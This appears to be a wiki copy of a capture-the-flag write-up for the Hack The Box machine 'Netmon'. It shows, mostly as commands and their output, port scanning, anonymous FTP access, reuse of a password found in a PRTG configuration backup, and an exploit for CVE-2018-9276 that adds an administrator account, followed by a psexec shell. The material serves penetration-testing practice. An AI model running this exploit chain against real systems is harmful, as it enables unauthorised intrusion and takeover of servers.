Netmon

From Luniwiki
Jump to: navigation, search

Back

Netmon01.png

Ports scan

u505@kali:~/HTB/Machines/Netmon$ sudo masscan -e tun0 -p1-65535,U:1-65535 10.10.10.152 --rate=1000
[sudo] password for u505:

Starting masscan 1.0.5 at 2020-02-19 14:21:35 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [131070 ports/host] Discovered open port 49665/tcp on 10.10.10.152 Discovered open port 49664/tcp on 10.10.10.152 Discovered open port 80/tcp on 10.10.10.152 Discovered open port 49668/tcp on 10.10.10.152 Discovered open port 21/tcp on 10.10.10.152 Discovered open port 445/tcp on 10.10.10.152 Discovered open port 5985/tcp on 10.10.10.152 Discovered open port 47001/tcp on 10.10.10.152 Discovered open port 49669/tcp on 10.10.10.152 Discovered open port 139/tcp on 10.10.10.152 Discovered open port 135/tcp on 10.10.10.152 Discovered open port 49666/tcp on 10.10.10.152 Discovered open port 49667/tcp on 10.10.10.152
u505@kali:~/HTB/Machines/Netmon$ nmap -sC -sV 10.10.10.152
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-19 09:21 EST
Nmap scan report for netmon.htb (10.10.10.152)
Host is up (0.037s latency).
Not shown: 995 closed ports
PORT    STATE SERVICE      VERSION
21/tcp  open  ftp          Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-02-19  11:18PM                 1024 .rnd
| 02-25-19  09:15PM       <DIR>          inetpub
| 07-16-16  08:18AM       <DIR>          PerfLogs
| 02-25-19  09:56PM       <DIR>          Program Files
| 02-02-19  11:28PM       <DIR>          Program Files (x86)
| 02-03-19  07:08AM       <DIR>          Users
|_02-25-19  10:49PM       <DIR>          Windows
| ftp-syst:
|_  SYST: Windows_NT
80/tcp  open  http         Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_http-server-header: PRTG/18.1.37.13946
| http-title: Welcome | PRTG Network Monitor (NETMON)
|_Requested resource was /index.htm
|_http-trane-info: Problem with XML parsing of /evox/about
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results: |_clock-skew: mean: 1m08s, deviation: 0s, median: 1m08s |_smb-os-discovery: ERROR: Script execution failed (use -d to debug) | smb-security-mode: | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb2-security-mode: | 2.02: |_ Message signing enabled but not required | smb2-time: | date: 2020-02-19T14:23:03 |_ start_date: 2020-02-19T14:19:50
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 17.13 seconds

User flag

The user flag is accessible by anonymous ftp.

u505@kali:~/HTB/Machines/Netmon$ ftp netmon
Connected to netmon.htb.
220 Microsoft FTP Service
Name (netmon:u505): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> cd Users/Public
250 CWD command successful.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.04 secs (0.8474 kB/s)
ftp> quit
221 Goodbye.
u505@kali:~/HTB/Machines/Netmon$ cat user.txt
<USER_FLAG>

PRTG Vulnerability

u505@kali:~/HTB/Machines/Netmon$ searchsploit prtg
--------------------------------------------------- ----------------------------------------
 Exploit Title                                     |  Path
                                                   | (/usr/share/exploitdb/)
--------------------------------------------------- ----------------------------------------
PRTG Network Monitor 18.2.38 - (Authenticated) Rem | exploits/windows/webapps/46527.sh
PRTG Network Monitor < 18.1.39.1648 - Stack Overfl | exploits/windows_x86/dos/44500.py
PRTG Traffic Grapher 6.2.1 - 'url' Cross-Site Scri | exploits/java/webapps/34108.txt
--------------------------------------------------- ----------------------------------------
Shellcodes: No Result
Papers: No Result
u505@kali:~/HTB/Machines/Netmon$ searchsploit -m 46527
  Exploit: PRTG Network Monitor 18.2.38 - (Authenticated) Remote Code Execution
      URL: https://www.exploit-db.com/exploits/46527
     Path: /usr/share/exploitdb/exploits/windows/webapps/46527.sh
File Type: Bourne-Again shell script, ASCII text executable, with very long lines, with CRLF line terminators

Copied to: /home/u505/HTB/Machines/Netmon/46527.sh

We remove the carriage returns.

u505@kali:~/HTB/Machines/Netmon$ tr -d '\r' <46527.sh > 46527noCR.sh
u505@kali:~/HTB/Machines/Netmon$ chmod +x 46527noCR.sh

This vulnerability creates a OS admin user in the target, but we need valid credentials to log into PRTG.

u505@kali:~/HTB/Machines/Netmon$ ./46527noCR.sh
[+]#########################################################################[+]
[*] Authenticated PRTG network Monitor remote code execution                [*]
[+]#########################################################################[+]
[*] Date: 11/03/2019                                                        [*]
[+]#########################################################################[+]
[*] Author: https://github.com/M4LV0   lorn3m4lvo@protonmail.com            [*]
[+]#########################################################################[+]
[*] Vendor Homepage: https://www.paessler.com/prtg                          [*]
[*] Version: 18.2.38                                                        [*]
[*] CVE: CVE-2018-9276                                                      [*]
[*] Reference: https://www.codewatch.org/blog/?p=453                        [*]
[+]#########################################################################[+]

# login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script. # run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!'
[+]#########################################################################[+] EXAMPLE USAGE: ./prtg-exploit.sh -u http://10.10.10.10 -c "_ga=GA1.4.XXXXXXX.XXXXXXXX; _gid=GA1.4.XXXXXXXXXX.XXXXXXXXXXXX; OCTOPUS1813713946=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX; _gat=1"

PRTG user and password

Netmon02.png

After some diving in the ftp, there is a file with a user and password.

u505@kali:~/HTB/Machines/Netmon$ ftp netmon.htb
Connected to netmon.htb.
220 Microsoft FTP Service
Name (netmon.htb:u505): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> cd "/Users/All Users/Paessler/PRTG Network Monitor"
250 CWD command successful.
ftp> dir -a
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-19-20  10:01AM       <DIR>          Configuration Auto-Backups
02-19-20  07:00PM       <DIR>          Log Database
02-02-19  11:18PM       <DIR>          Logs (Debug)
02-02-19  11:18PM       <DIR>          Logs (Sensors)
02-02-19  11:18PM       <DIR>          Logs (System)
02-20-20  12:00AM       <DIR>          Logs (Web Server)
02-19-20  07:01PM       <DIR>          Monitoring Database
02-25-19  09:54PM              1189697 PRTG Configuration.dat
02-25-19  09:54PM              1189697 PRTG Configuration.old
07-14-18  02:13AM              1153755 PRTG Configuration.old.bak
02-20-20  09:07AM              1732362 PRTG Graph Data Cache.dat
02-25-19  10:00PM       <DIR>          Report PDFs
02-02-19  11:18PM       <DIR>          System Information Database
02-02-19  11:40PM       <DIR>          Ticket Database
02-02-19  11:18PM       <DIR>          ToDo Database
226 Transfer complete.
ftp> get "PRTG Configuration.old.bak"
local: PRTG Configuration.old.bak remote: PRTG Configuration.old.bak
200 PORT command successful.
125 Data connection already open; Transfer starting.
226 Transfer complete.
1153755 bytes received in 0.50 secs (2.2227 MB/s)
ftp> quit
221 Goodbye.
u505@kali:~/HTB/Machines/Netmon$ grep -A4 "dbpassword" "PRTG Configuration.old.bak"
           <dbpassword>
             <!-- User: prtgadmin -->
             PrTg@dmin2018
           </dbpassword>
...

The password doesn't work.

Netmon03.png

The backup is from 2018, the rest of the files are from 2019, the same password with 2019 instead of 2018 works.

Netmon04.png

Run the exploit

With the values of the authenticated cookie, we run the exploit. This exploit creates a administrator user in the server.

u505@kali:~/HTB/Machines/Netmon$ ./46527noCR.sh -u http://netmon.htb -c "_ga=GA1.2.1897676822.1582207400; _gid=GA1.2.720517085.1582207400; OCTOPUS1813713946=ezlFNUE1MTZBLTg2QzUtNDkxNS1BNEYwLTNGMUU0RUM4NEE0Mn0%3D; _gat=1"

[+]#########################################################################[+] [*] Authenticated PRTG network Monitor remote code execution [*] [+]#########################################################################[+] [*] Date: 11/03/2019 [*] [+]#########################################################################[+] [*] Author: https://github.com/M4LV0 lorn3m4lvo@protonmail.com [*] [+]#########################################################################[+] [*] Vendor Homepage: https://www.paessler.com/prtg [*] [*] Version: 18.2.38 [*] [*] CVE: CVE-2018-9276 [*] [*] Reference: https://www.codewatch.org/blog/?p=453 [*] [+]#########################################################################[+]
# login to the app, default creds are prtgadmin/prtgadmin. once athenticated grab your cookie and use it with the script. # run the script to create a new user 'pentest' in the administrators group with password 'P3nT3st!'
[+]#########################################################################[+]
[*] file created [*] sending notification wait....
[*] adding a new user 'pentest' with password 'P3nT3st' [*] sending notification wait....
[*] adding a user pentest to the administrators group [*] sending notification wait....

[*] exploit completed new user 'pentest' with password 'P3nT3st!' created have fun!

Cookie values

Netmon05.png

We retrieve cookie values needed by the exploit.

Root flag

u505@kali:~/HTB/Machines/Netmon$ /opt/utils/impacket/examples/psexec.py pentest@netmon.htb
Impacket v0.9.21.dev1+20200211.101047.70c38fbe - Copyright 2020 SecureAuth Corporation

Password: [*] Requesting shares on netmon.htb..... [*] Found writable share ADMIN$ [*] Uploading file prgVfgJZ.exe [*] Opening SVCManager on netmon.htb..... [*] Creating service zFnr on netmon.htb..... [*] Starting service zFnr..... [!] Press help for extra shell commands Microsoft Windows [Version 10.0.14393] (c) 2016 Microsoft Corporation. All rights reserved. C:\Windows\system32>cd "C:\Users\Administrator\Desktop" C:\Users\Administrator\Desktop>type root.txt <ROOT_FLAG> C:\Users\Administrator\Desktop>exit [*] Process cmd.exe finished with ErrorCode: 0, ReturnCode: 0 [*] Opening SVCManager on netmon.htb..... [*] Stopping service zFnr..... [*] Removing service zFnr..... [*] Removing file prgVfgJZ.exe.....

References

Daniel Simao 08:05, 19 February 2020 (EST)